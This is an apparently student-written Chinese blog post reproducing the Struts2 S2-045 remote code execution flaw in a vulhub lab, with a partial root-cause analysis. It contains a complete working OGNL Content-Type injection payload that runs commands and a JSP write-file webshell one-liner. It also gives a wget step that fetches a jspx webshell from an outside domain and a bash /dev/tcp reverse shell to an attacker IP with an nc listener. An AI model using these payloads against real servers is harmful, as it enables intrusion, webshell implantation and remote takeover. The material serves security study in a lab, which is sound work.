struts2漏洞_有没有兴趣研究Remote Code Execution漏洞利用?

本期文档内容为:《S2-045 Remote Code Execution漏洞利用》

作者介绍:Fhawkz

福建师范大学18级学生,国科学生会安全团队的一员,本人对技术喜欢进行钻研,平时也爱鼓捣一些安全的相关技术,本次分享是自己在日常学习中有用到的一些技术,希望给大家带来一些安全学习上的帮助。

0x00漏洞背景

Struts2是第二代基于Model-View-Controller(MVC)模型的java企业级web应用框架,并成为当时国内外较为流行的容器软件中间件。jakarta是apache组织下的一套Java解决方案的开源软件的名称,包括很多子项目。Struts就是jakarta的紧密关联项目。

根据CNVD技术组成员单位——杭州安恒信息技术有限公司提供的分析情况,基于JakartaMultipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达的URL导致远程代码执行。

CNVD对漏洞的综合评级均为“高危”。由于struts 2.3.5之前的版本存在S2-016漏洞,因此有较多升级后的Apache struts2的版本为2.3.5及以上版本,极有可能受到漏洞的影响。

0x01受影响版本

Struts2.3.5-Struts2.3.31

Struts2.5-Struts2.5.10

0x02漏洞搭建

a. 从git仓库获取vulhub

1) gitclone https://github.com/vulhub/vulhub.git

b. docker-compose工具的下载

c. 在docker-compose.yml中有端口映射关系

7dd99563550de31d1db7b481625d528e.png

d. 环境创建docker-compose -d up

e. 查看环境docker ps -a

393eb2ca6d19666c63c483a81dfde974.png

f. 进入docker的bash:docker exec -t -i CONTAINER ID /bin/bash

18bea52490700ed3618f60b3d2d06ec8.png

0x03POC检测漏洞存在

a. 访问环境

874cf9b88086e7d603aead722d6cf969.png

b. 抓包,使用vulhub自带的poc验证

Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

发送multipart/form-data使得能够对ognl表达式进行解析执行

addHeader('vulhub',233*233):添加头部的名称为vulhub,值为233*233

bf08d652da7633465397d68ae0abe999.png

c. 使用百度到的poc,实现命令执行操作

POC:

Content-Type:"%{(#bm='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

cfd9f14f59432cd5e222c7547c4fa37f.png

0x04根据POC编写简单的利用程序

a. 设置poc的列表,获取输入,并赋值到#cmd上;使用urllib2.Request构造web请求

b. 设置两个参数,method及target

cca5a04c9c95f4e49739e130db8f2492.png

脚本文件:

myself_s2scan.py

0x05文件上传

a. 通过POC上传jsp一句话并写入到.jsp文件中

#cmd=’name="<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>"&&echo$name’

本地执行没有问题

但是如果在poc上插入命令会出现报错

技术水平不够,暂时不知道其他方式

b. 通过网上的html连接器并上传菜刀马

c0032316d6d6ccd19a2b646889842ca9.png

在提交代码处填写菜刀马

连接器代码:

test.html

c. 利用菜刀程序连接webshell

网上相关找到的jsp菜刀马

cknife.txt

d. 找到了新的能用的jspx菜刀马

e. 尝试用下载的思路进行传递,能绕过编码问题

1) name="wgetfhbebaidu.top/1.jspx"&&echo $name > final.txt && chmod+x final.txt

678c966b2ab65f637bbce54021d6bbe3.png

2) ./final.txt

07946fa3a96681040568e1440276a4f7.png

3) 通过寻找我们能访问到的文件,来获得web站点的相对路径

5e301b557da2f40459b63c937b696353.png

4) mv1.jspx ./src/main/webapp/[能访问到的web目录]

01289b35fc3ef6122b142ac346db4984.png

f. 使用Cknife进行连接尝试即可

44f3c7ea790e7aa6feba61b1d8519921.png

0x06反弹Shell

a. 主要利用的payload

bash -i >&/dec/tcp/192.168.16.133[攻击者ip]/7001[port] 0 > &1

依赖输出重定向,将bash反弹给某个ip的某个端口

b. 用nc工具监听设置的port

2cba57fb096d2f91f5d48e32655fdf53.png

c. 在poc中插入payload并执行

6138ce1fad254203da89c50c6db3482d.png

ef414609833db61e2177bf7734e93455.png

d. 可以在监听的攻击方上得到对应的shell

bb0b37a3d8d3fe05f820ec95b7e89ba3.png

0x07漏洞成因分析

参考网站:https://www.anquanke.com/post/id/85628

在org.apache.struts2dispatcherngfilterStrust2PrepareAndExecuteFilter对request进行封装

69dfd71ef4cd983101bf84fe68a42982.png

封装流程:ngPrepareOperations

f7330bda1e087bacdd5f6afada07d62f.png


dispatcherDispatcher

这或许是每个poc中的Content-Type都含有multipart/form-data的原因

32f3241d0667a83a95ec3304646ead78.png

getMultiPartRequest()
这里开始看不懂

先声明名为mpr的MultiPartRequest接口

然后在getContainer()获取一个实例类返回

b2ec0016eaa2c79fab986fa06264fd0b.png

实例化一个MultiPartRequestWrapper对象

8a9667fa6f9f63962c4c79d4a4297239.png

或许ognl被执行在这之前已经找到入口了,但是我看不出来……

具体觉得那个参考文献写的应该挺清除

需要有点Java功底的才能了解清楚

4fb44827f6390c26bcf71531dfdf17f3.png

c2cec91da694d670add3995d2787d716.png

0x08OGNL语法分析

%{ //强制解析为ongl表达式

(#bm='multipart/form-data'). //整个漏洞的入口点,在漏洞分析中有体现 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). //看起来像是得到一个常量并赋给dm (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#cmd='ls'). //定义要执行什么命令的变量(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). //通过os.name返回的字符串中是否包含win来判断操作系统是windows还是其他类型 (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). //如果是windows则调用cmd.exe否则调用/bin/bash执行之前cmd变量的命令 (#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)). (#process=#p.start()). //发起进程(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush()) }

8181e59c70e030b4282edff07b976b6a.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值